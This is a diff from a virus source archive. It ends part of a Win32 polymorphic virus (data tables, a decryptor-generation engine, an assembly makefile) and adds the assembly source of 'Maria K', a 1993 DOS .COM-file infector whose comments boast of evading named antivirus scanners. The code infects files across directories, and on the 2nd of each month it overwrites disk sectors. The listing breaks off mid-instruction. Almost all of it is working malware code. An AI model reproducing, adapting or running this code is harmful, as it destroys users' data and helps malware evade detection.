+tbl_AV_files equ this byte + + dd offset szAvData_00 + dd offset szAvData_01 + dd offset szAvData_02 + dd offset szAvData_03 + +end_AV_files equ this byte + +szAvData_00 db "ANTI-VIR.DAT",00h +szAvData_01 db "CHKLIST.MS",00h +szAvData_02 db "AVP.CRC",00h +szAvData_03 db "IVB.NTZ",00h + + ;Search mask for FindFirstFile and FindNextFile + +szSearch db "*.*",00h + + ;Infection time + +inf_time equ this byte + +inf_year dw 0000h +inf_month dw 0000h +inf_dayofweek dw 0000h +inf_day dw 0000h +inf_hour dw 0000h +inf_minute dw 0000h +inf_second dw 0000h +inf_millisec dw 0000h + + ;Number of bytes to restore at host entry-point + +insert_size dd 00000000h + + ;Initialized data used by the polymorphic engine + + ;Register table + ; + ; - Register mask + ; - Register flags + +tbl_regs equ this byte + + db 00000000b,REG_READ_ONLY ;eax + db 00000011b,00h ;ebx + db 00000001b,00h ;ecx + db 00000010b,00h ;edx + db 00000110b,REG_NO_8BIT ;esi + db 00000111b,REG_NO_8BIT ;edi + db 00000101b,REG_NO_8BIT ;ebp + +end_regs equ this byte + + ;Aliases for reg table structure + +REG_MASK equ 00h +REG_FLAGS equ 01h + + ;Bit aliases for reg flags + +REG_IS_INDEX equ 01h +REG_IS_COUNTER equ 02h +REG_READ_ONLY equ 04h +REG_NO_8BIT equ 08h + + ;Initial reg flags + +tbl_startup equ this byte + + db REG_READ_ONLY ;eax + db 00h ;ebx + db 00h ;ecx + db 00h ;edx + db REG_NO_8BIT ;esi + db REG_NO_8BIT ;edi + db REG_NO_8BIT ;ebp + + ;Code that does not disturb reg values + +tbl_save_code equ this byte + + clc + stc + cmc + cld + std + +end_save_code equ this byte + + ;Generators for get_delta + +tbl_delta_mode equ this byte + + dd offset delta_method_1 + dd offset delta_method_2 + dd offset delta_method_3 + +end_delta_mode equ this byte + + ;Generators for [reg] indexing mode + +tbl_idx_reg equ this byte + + dd offset xx_inc_reg + dd offset xx_dec_reg + dd offset xx_not_reg + dd offset xx_add_reg + dd offset xx_sub_reg + dd offset xx_xor_reg + + ;Generators for [reg+imm] indexing mode + +tbl_dis_reg equ this byte + + dd offset yy_inc_reg + dd offset yy_dec_reg + dd offset yy_not_reg + dd offset yy_add_reg + dd offset yy_sub_reg + dd offset yy_xor_reg + + ;Generators for [reg+reg] indexing mode + +tbl_xtended equ this byte + + dd offset zz_inc_reg + dd offset zz_dec_reg + dd offset zz_not_reg + dd offset zz_add_reg + dd offset zz_sub_reg + dd offset zz_xor_reg + + ;Generators for [reg+reg+imm] indexing mode + +tbl_paranoia equ this byte + + dd offset ii_inc_reg + dd offset ii_dec_reg + dd offset ii_not_reg + dd offset ii_add_reg + dd offset ii_sub_reg + dd offset ii_xor_reg + + ;Opcodes for math reg,imm + +tbl_math_imm equ this byte + + db 0C0h ;add + db 0C8h ;or + db 0E0h ;and + db 0E8h ;sub + db 0F0h ;xor + db 0D0h ;adc + db 0D8h ;sbb + +end_math_imm equ this byte + + ;Magic aliases + +MAGIC_PUTKEY equ 01h +MAGIC_PUTDISP equ 02h +MAGIC_ENDSTR equ 0FFh +MAGIC_ENDKEY equ 0FEh +MAGIC_CAREEBP equ 00h +MAGIC_NOTEBP equ 0FFh + + ;Magic data + +xx_inc_reg db 0FEh + db MAGIC_CAREEBP + db 00h + db 00h + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +xx_dec_reg db 0FEh + db MAGIC_CAREEBP + db 08h + db 00h + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +xx_not_reg db 0F6h + db MAGIC_CAREEBP + db 10h + db 00h + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +xx_add_reg db 80h + db MAGIC_CAREEBP + db 00h + db MAGIC_PUTKEY + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +xx_sub_reg db 80h + db MAGIC_CAREEBP + db 28h + db MAGIC_PUTKEY + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +xx_xor_reg db 80h + db MAGIC_CAREEBP + db 30h + db MAGIC_PUTKEY + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + +yy_inc_reg db 0FEh + db MAGIC_NOTEBP + db 80h + db MAGIC_PUTDISP + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +yy_dec_reg db 0FEh + db MAGIC_NOTEBP + db 88h + db MAGIC_PUTDISP + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +yy_not_reg db 0F6h + db MAGIC_NOTEBP + db 90h + db MAGIC_PUTDISP + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +yy_add_reg db 80h + db MAGIC_NOTEBP + db 80h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +yy_sub_reg db 80h + db MAGIC_NOTEBP + db 0A8h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +yy_xor_reg db 80h + db MAGIC_NOTEBP + db 0B0h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + +zz_inc_reg db 0FEh + db MAGIC_CAREEBP + db 04h + db 00h + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +zz_dec_reg db 0FEh + db MAGIC_CAREEBP + db 0Ch + db 00h + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +zz_not_reg db 0F6h + db MAGIC_CAREEBP + db 14h + db 00h + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +zz_add_reg db 80h + db MAGIC_CAREEBP + db 04h + db MAGIC_PUTKEY + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +zz_sub_reg db 80h + db MAGIC_CAREEBP + db 2Ch + db MAGIC_PUTKEY + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +zz_xor_reg db 80h + db MAGIC_CAREEBP + db 34h + db MAGIC_PUTKEY + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + +ii_inc_reg db 0FEh + db MAGIC_NOTEBP + db 84h + db MAGIC_PUTDISP + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +ii_dec_reg db 0FEh + db MAGIC_NOTEBP + db 8Ch + db MAGIC_PUTDISP + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +ii_not_reg db 0F6h + db MAGIC_NOTEBP + db 94h + db MAGIC_PUTDISP + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +ii_add_reg db 80h + db MAGIC_NOTEBP + db 84h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +ii_sub_reg db 80h + db MAGIC_NOTEBP + db 0ACh + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +ii_xor_reg db 80h + db MAGIC_NOTEBP + db 0B4h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + + ;Reverse-code strings + +x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR +x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR +x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR +x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR +x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR +x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR +x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR +x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR +x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR +x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY +x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY +x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY +x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY +x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY +x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY +x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY +x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY +x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY + + ;Decryptor styles + +tbl_styles equ this byte + + dd offset style_gen_1 + dd offset style_gen_2 + dd offset style_gen_3 + dd offset style_gen_4 + dd offset style_gen_5 + dd offset style_gen_6 + +end_styles equ this byte + +style_gen_1 dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_load_ctr + dd offset gen_decrypt + dd offset gen_next_step + dd offset gen_next_ctr + dd offset gen_loop + +style_gen_2 dd offset gen_get_delta + dd offset gen_load_ctr + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_step + dd offset gen_next_ctr + dd offset gen_loop + +style_gen_3 dd offset gen_load_ctr + dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_step + dd offset gen_next_ctr + dd offset gen_loop + +style_gen_4 dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_load_ctr + dd offset gen_decrypt + dd offset gen_next_ctr + dd offset gen_next_step + dd offset gen_loop + +style_gen_5 dd offset gen_get_delta + dd offset gen_load_ctr + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_ctr + dd offset gen_next_step + dd offset gen_loop + +style_gen_6 dd offset gen_load_ctr + dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_ctr + dd offset gen_next_step + dd offset gen_loop + + ;Garbage code generators + +tbl_garbage equ this byte + + dd offset gen_save_code ;clc stc cmc cld std + dd offset g_movreg32imm ;mov reg32,imm + dd offset g_movreg16imm ;mov reg16,imm + dd offset g_movreg8imm ;mov reg8,imm + dd offset g_movregreg32 ;mov reg32,reg32 + dd offset g_movregreg16 ;mov reg16,reg16 + dd offset g_movregreg8 ;mov reg8,reg8 + dd offset g_mathregimm32 ;math reg32,imm + dd offset g_mathregimm16 ;math reg16,imm + dd offset g_mathregimm8 ;math reg8,imm + dd offset g_push_g_pop ;push reg/garbage/pop reg + dd offset g_jump_u ;jump/rnd block + dd offset g_jump_c ;jump conditional/garbage + dd offset g_movzx_movsx ;movzx/movsx reg32,reg16 + +end_garbage equ this byte + + ;Original code at host entry point + +entry_code db BUFFER_EP dup (00h) + + ;Polymorphic procedures works with byte/word/dword + ;We let here a dword to avoid buffer overwrites + +safety_01 dd 00000000h + + ;Polymorphic decryptor buffer + +poly_decryptor db DECRYPTOR_SIZE dup (00h) + +inf_end equ this byte + +;············································································ + + ;Virus uninitialized data + +a_Kernel32 dd 00000000h +a_User32 dd 00000000h +a_GetModuleH dd 00000000h +a_GetProcAddr dd 00000000h + + ;API entry point for each viral function + +viral_addresses equ this byte + +a_CreateFile dd 00000000h +a_CreateFileMap dd 00000000h +a_MapViewOfFile dd 00000000h +a_UnmapView dd 00000000h +a_CloseHandle dd 00000000h +a_FindFirst dd 00000000h +a_FindNext dd 00000000h +a_FindClose dd 00000000h +a_VirtualAlloc dd 00000000h +a_GetWindowsDir dd 00000000h +a_GetSystemDir dd 00000000h +a_GetCurDir dd 00000000h +a_SetFileAttr dd 00000000h +a_SetFileTime dd 00000000h +a_DeleteFile dd 00000000h +a_GetCurProc dd 00000000h +a_WriteProcMem dd 00000000h +a_LoadLibrary dd 00000000h +a_GetSysTime dd 00000000h + + ;Misc variables + +CreateFile_h dd 00000000h +Mapping_h dd 00000000h +Search_h dd 00000000h +File_Attr dd 00000000h +search_raw dd 00000000h +original_size dd 00000000h +h_icon dd 00000000h +dc_screen dd 00000000h + + ;Data used by the polymorphic engine + +rnd32_seed dd 00000000h ;Seed for random number generator +ptr_disp dd 00000000h ;Displacement from index +end_value dd 00000000h ;Index end value +delta_call dd 00000000h ;Used into delta_offset routines +loop_point dd 00000000h ;Start address of decryption loop +crypt_key dd 00000000h ;Encryption key +oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword) +index_mask db 00h ;Mask of register used as index +counter_mask db 00h ;Mask of register used as counter +build_flags db 00h ;Some decryptor flags +recursive_level db 00h ;Garbage recursive layer + + ;Decryptor flags aliases + +CRYPT_DIRECTION equ 01h +CRYPT_CMPCTR equ 02h +CRYPT_CDIR equ 04h +CRYPT_SIMPLEX equ 10h +CRYPT_COMPLEX equ 20h + + ;Buffer to convert file time to system time + +my_system_time equ this byte + +time_year dw 0000h +time_month dw 0000h +time_dayofweek dw 0000h +time_day dw 0000h +time_hour dw 0000h +time_minute dw 0000h +time_seconds dw 0000h +time_milisec dw 0000h + + ;Buffer for \WINDOWS and \SYSTEM directories + +szWorkDir db MAX_PATH dup (00h) + + ;Data about found files + +my_FindData db SIZEOF_WIN32_FIND_DATA dup (00h) + + ;This will be the place for the virus copy + +mem_end equ this byte + +;············································································ + +virseg ends + + end host_entry + +;············································································ + +-------->8 cut here --------------------------------------------------------- + +# Marburg makefile + +# make -B Will build wap32.exe +# make -B -DDEBUG Will build the debug version of wap32.exe + +NAME = WAP32 +OBJS = $(NAME).obj +ASMS = $(NAME).asm + +!if $d(DEBUG) +TASMPARAM= /ml /m5 /la /zi +TLINKPARAM= -Tpe -c -s -v -ap +!else +TASMPARAM= /ml /m5 /q /zn +TLINKPARAM= -Tpe -c -x -ap +!endif + +!if $d(MAKEDIR) +IMPORT=$(MAKEDIR)\..\lib\import32 +!else +IMPORT=import32 +!endif + + +$(NAME).EXE: $(OBJS) $(DEF) + tlink32 $(TLINKPARAM) $(OBJS),$(NAME),, $(IMPORT) + +.asm.obj: + tasm32 $(TASMPARAM) $(ASMS) diff --git a/MSDOS/Virus.MSDOS.Unknown.maria-k.asm b/MSDOS/Virus.MSDOS.Unknown.maria-k.asm new file mode 100644 index 00000000..1a2d87a2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.maria-k.asm @@ -0,0 +1,625 @@ +; VirusName : Maria K.. +; Country : Sweden +; Author : The Unforiven / Immortal Riot +; Date : 26/09/1993 +; +; This is a mutation of the "Bobvirus" written by Phalcon/Skism, +; Many thanks must go to the scratch coder of this one..(DA?) +; +; Mcafee Scan used to find this as "Cloud" Virus, But also +; as the "Beta" Virus. So..two guys in this little babe... +; +; This is a non-overwriting .COM files infector, it doesn't do +; anything to .EXE files, nor command.com. This goes memory +; resident. When it "goes-off", it prints out a "BOBism" every +; 5 minutes. If the virus finds itself in the memory, it will not +; go up again. It will NOT infect a program when you starts it, +; it's just the "printer-part" who is in memory".. +; +; This version is not encrypted as the original one, but instead, +; a hd-trasher has been added, so if some infected file is ran +; at the 2:nd every month, someone (me), will be very pleased.. +; +; Scan v108 can't find this, BUT! S&S Toolkit 6.54 do find it! +; F-Prot (2.09) DON'T find this and TBScan can't identify it +; as the "original" virus, It says it's some "Unknown Virus". +; +; Okey, think that's all, have phun, and remember, +; livi'n ain't no crime! +; + +CODE SEGMENT PUBLIC 'CODE' + ORG 100h + ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE + +DTA_fileattr EQU 21 +DTA_filetime EQU 22 +DTA_filedate EQU 24 +DTA_filesize EQU 26 +DTA_filename EQU 30 + +virus_marker equ 026FFh ; JMP WORD PTR +virus_marker2 equ 00104h ; 0104h +part1_size equ part1_end - part1_start +part2_size equ part2_end - part2_start +offset_off equ duh2 +init_delay equ 5280 ; Initial delay +delay equ 400 ; Subsequent delay +num_Messages equ 7 ; Number of "Bob" messages +waves equ 7 ; Number of waves to go off after +infec_date equ 0606h ; Swedish National Day (0606).. + +Counter equ 108h +D_Mess equ 110h +Int_08_Start equ 112h + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; S&S Toolkit 6.54 (FindViru) "string" is placed at the "jmp word ptr duh", +; If you finds something to add here, then do! The place he placed his +; string is there the virus identify itselves, and I've failed with get +; the virus to work after some dully attempt to add some meanless shit. +; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!.. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +part1_start: + jmp word ptr duh +duh dw middle_part_end - part1_start + 100h +duh2 dw 0 +part1_end: + +middle_part_start: +middle_part_end: + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +;Part 2 begins: Dis is the D-Cool part +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +part2_start: + cld + call decrypt + mov si, offset Go + add si, offset_off + jmp si + +encrypt_val db 00h + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; Encrypt/Decrypt isn't really a "Crypt" Routine. Instead, it will check +; what day it if, and if it's the second (2:nd) any month, procedure Stone- +; Heart will blow off. Stoneheart makes your "heart"-drives be quite empty. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +DECRYPT: +ENCRYPT: + mov ah,2ah ; Day-Checking.. + int 21h ; + cmp dl,02 ; Check if day 02.. + je STONEHEART ; If So..you're a lucky guy + jmp SORRY ; Otherwise..try with "date 02".. + +STONEHEART: ; Name of her.. + cli ; + mov ah,2 ; Starting right on.. + cwd ; Starting it from 0. + mov cx,0100h ; Continue to 256.... + int 026h ; No Exchauses! + jmp MARIA ; Jump For Joy..(J4J).. + +MARIA: ; Yeah, her's other handle.. + CLI ; + MOV AL,3 ; Continue with drive D.. + MOV CX,700 ; Make drive d's heart fall apart.. + MOV DX,00 ; Start from sector 0 + MOV DS,[DI+99] ; Put random crap in DS + MOV BX,[DI+55] ; More crap in BX + CALL STONEHEART ; J4J..once again.. + +SORRY: ; I'm feeling soo sorry for you! +RET ; Cuz you managed to return! + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; This used to be under Decrypt/Encrypt, but well, since I don't want +; no encryptions in this virus, I just remarked this..And well, Mcaffe's +; Beta String used to be place at "mov di, si", that might also be a little +; reason..Anyhow..since I didn't coded this from scratch, I can't deny you +; from modify in this code..So..Get your Encryption if you wants! +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; MOV si, offset encrypt_val +; ADD si, offset_off +; MOV ah, byte ptr [si] +; MOV cx, offset part2_end - offset bam_bam +; ADD si, offset bam_bam - offset encrypt_val +; MOV di, si ; - "Beta-String used to be here.. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb + loop xor_loop + ret + +copy_rest_stuff: +; Copying routine + push si ; SI -> buffer3 + call encrypt + mov cx, part2_size + pop dx + add dx, offset part2_start - offset buffer3 + mov ah, 40h + int 21h + call decrypt ; See what to do.. +bam_bam: + ret + +buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 +buffer2 db part1_end - part1_start dup (?) +buffer3 dw ? +orig_path db 64 dup (?) +num_infec db 0 ; Infection wave number +infec_now db 0 ; Number files infected this time +root_dir db '\',0 ; Root Dir spec +com_mask db '*.com',0 ; Files to infect +dir_mask db '*.*',0 ; Files to search for.. +back_dir db '..',0 ; Dot-Dot.. +nest dw 0 + +DTA db 43 DUP (0) ; For use by infect_dir + +Go: ; Proc there Mcaf "cloud" string is placed. + + add si, offset buffer - offset Go + mov di, si + add di, offset buffer2 - offset buffer + cmp dx, infec_date ; Added this two lines, and + jz Go_Psycho ; "Cloud" string is gone... + mov cx, part1_size + rep movsb + mov ah, 47h ; Get directory + xor dl,dl ; Default drive + add si, offset orig_path - offset buffer - 8 + int 21h ; in orig_path + + jc Go_Error + mov ah, 3Bh ; Change directory + mov dx, si ; to the root dir + add dx, offset root_dir - offset orig_path + int 21h + jc Go_Error + + add si, offset num_infec - offset orig_path + inc byte ptr [si] ; New infection wave + + push si ; Save offset num_infec + + add si, offset infec_now - offset num_infec + mov byte ptr [si], 3 ; Reset infection + ; counter to 3 + ; for D-new run. + + call traverse_fcn ; Do all the work + + pop si ; Restore offset num_infec + cmp byte ptr [si], waves ; 10 infection waves? + jge Go_Psycho ; If so, activate + + mov ah, 2Ah ; Get date + int 21h + cmp dx, infec_date ; Is it 06/06? + jz Go_Psycho ; If so, activate + +Go_Error: + jmp quit ; And then quit + +Go_Psycho: + jmp Psycho ; Yeah, right! + +origattr db 0 +origtime dw 0 +origdate dw 0 +filesize dw 0 ; Size of the uninfected file + +oldhandle dw 0 + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +;D-Traversal function begins +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + push si + + jmp infect_directory +In_fcn: + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ;to space allotted + int 21h ;Do it now, do it hard! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + mov dx,offset dir_mask ;*.* + add dx,offset_off + int 21h + jmp short isdirok +gonow: + cmp byte ptr [bp-14], '.' ;Is first char == '.'? + je short donext ;If so, loop again + lea dx,word ptr [bp-14] ;else load dirname + mov ah,3Bh ;and changedir there + int 21h ;Yup, yup + jc short donext ;Do next if invalid + mov si, offset nest ;Else increment nest + add si, offset_off + inc word ptr [si] ;nest++ + call near ptr traverse_fcn ;recurse directory +donext: + lea dx,word ptr [bp-44] ;Load space allocated for DTA addr + mov ah,1Ah ;and set DTA to it + int 21h ;cause it might have changed + + mov ah,4Fh ;Find next + int 21h +isdirok: + jnc gonow ;If OK, jmp elsewhere + mov si, offset nest + add si, offset_off + cmp word ptr [si], 0 ;If root directory (nest == 0) + jle short cleanup ; Quit + dec word ptr [si] ;Else decrement nest + mov dx,offset back_dir ;'..' + add dx, offset_off + mov ah,3Bh ;Change directory + int 21h ;to previous one +cleanup: + pop si + mov sp,bp + pop bp + ret +traverse_fcn endp +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +;D-Traversal function ends +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +Goto_Error: + jmp Error + +enuff_for_now: + ;Set nest to nil + mov si, offset nest ;in order to + add si, offset_off ;halt the D-Cool + mov word ptr [si], 0 ;traversal fcn + jmp short cleanup +return_to_fcn: + jmp short In_fcn ;Return to traversal function + +infect_directory: + mov ah, 1Ah ;Set DTA + mov dx, offset DTA ;to DTA struct + add dx, offset_off + int 21h + +find_first_COM: + mov ah, 04Eh ;Find first file + mov cx, 0007h ;Any file + mov dx, offset com_mask ;DS:[DX] --> filemask + add dx, offset_off + int 21h ;Fill DTA (hopefully) + jc return_to_fcn ; Error #E421:0.1 + jmp check_if_COM_infected ;I<___-Cool! Found one! + +find_next_file2: + mov si, offset infec_now ;Another loop, + add si, offset_off ;Another infection + dec byte ptr [si] ;Infected three? + jz enuff_for_now ;If so, exit +find_next_file: + mov ah,4Fh ;Find next + int 21h + jc return_to_fcn + +check_if_COM_infected: + mov si, offset DTA + dta_filename + 6 ; look at 7th letter + add si, offset_off + cmp byte ptr [si], 'D' ;??????D.COM? + jz find_next_file ;Don't kill COMMAND.COM + + mov ax,3D00h ;Open channel read ONLY + mov dx, si ;Offset Pathname in DX + sub dx, 6 + int 21h ;Open NOW! + jc find_next_file ;If error, find another + + xchg bx,ax ;bx is now handle + mov ah,3Fh ;Save + mov cx, part1_size ;first part + mov dx, offset buffer ;to buffer + add dx, offset_off ;to be restored + push dx + int 21h ;later + + pop si ;Check for virus ID bytes + ;in the buffer + push si + lodsw ;DS:[SI] -> AX + cmp ax, virus_marker ;Compare it + jnz infect_it ;infect if ID #1 not found + + lodsw ;Check next two bytes + cmp ax, virus_marker2 ;Compare it + jnz infect_it ;infect if ID #2 not found + pop si +bomb_out: + mov ah, 3Eh ;else close the file + int 21h ;and go find another + jmp find_next_file ;'cuz it's already infected + +Signature db 'Immortal Riot' + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +;D-Good Stuff - Infection routine +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +infect_it: + ; save fileattr + pop si + add si, offset DTA + DTA_fileattr - offset buffer + mov di, si + add di, offset origattr - offset DTA - DTA_fileattr + movsb ;DS:[SI] -> ES:[DI] + movsw ;Save origtime + movsw ;Save origdate + movsw ;Save filesize + ;Only need LSW + ;because COM files + ;can only be up to + ;65535 bytes long + cmp word ptr [si - 2], part1_size + jl bomb_out ;is less than 8 bytes. + +do_again: + mov ah, 2Ch ;get time + int 21h + add dl, dh ;1/100 sec + 1 sec + jz do_again ;Don't want orig strain! + + mov si, offset encrypt_val + add si, offset_off + mov byte ptr [si], dl ;255 mutations + + mov ax, 4301h ;Set file attributes + xor cx, cx ;to nothing + mov dx, si ;filename in DTA + add dx, offset DTA + DTA_filename - offset encrypt_val + int 21h ;do it now, my child + + mov ah, 3Eh ;Close file + int 21h ;handle in BX + + mov ax, 3D02h ;Open file read/write + int 21h ;Filename offset in DX + jc bomb_out ;Damn! Probs + + mov di, dx + add di, offset oldhandle - offset DTA - DTA_filename + ;copy filehandle to + ;oldhandle + stosw ;AX -> ES:[DI] + xchg ax, bx ;file handle in BX now + + mov ah, 40h ;Write DS:[DX]->file + mov cx, part1_size - 4 ;number of bytes + mov dx, 0100h ;where code starts + int 21h ;(in memory) + + mov ah, 40h + mov si, di ; mov si, offset filesize + add si, offset filesize - 2 - offset oldhandle + add word ptr [si], 0100h + mov cx, 2 + mov dx, si + int 21h ;write jmp offset + + mov ax, [si] ;AX = filesize + sub ax, 0108h + + add si, offset buffer3 - offset filesize + push si + mov word ptr [si], ax + mov ah, 40h + mov cx, 2 + mov dx, si + int 21h + + mov ax, 4202h ;move file ptr + xor cx, cx ;from EOF + xor dx, dx ;offset cx:dx + int 21h + + call copy_rest_stuff + + pop si + add si, offset oldhandle - offset buffer3 + mov bx, word ptr [si] + mov ax, 5701h ;Restore + add si, offset origtime - offset oldhandle + mov cx, word ptr [si] ;old time and + add si, 2 + mov dx, word ptr 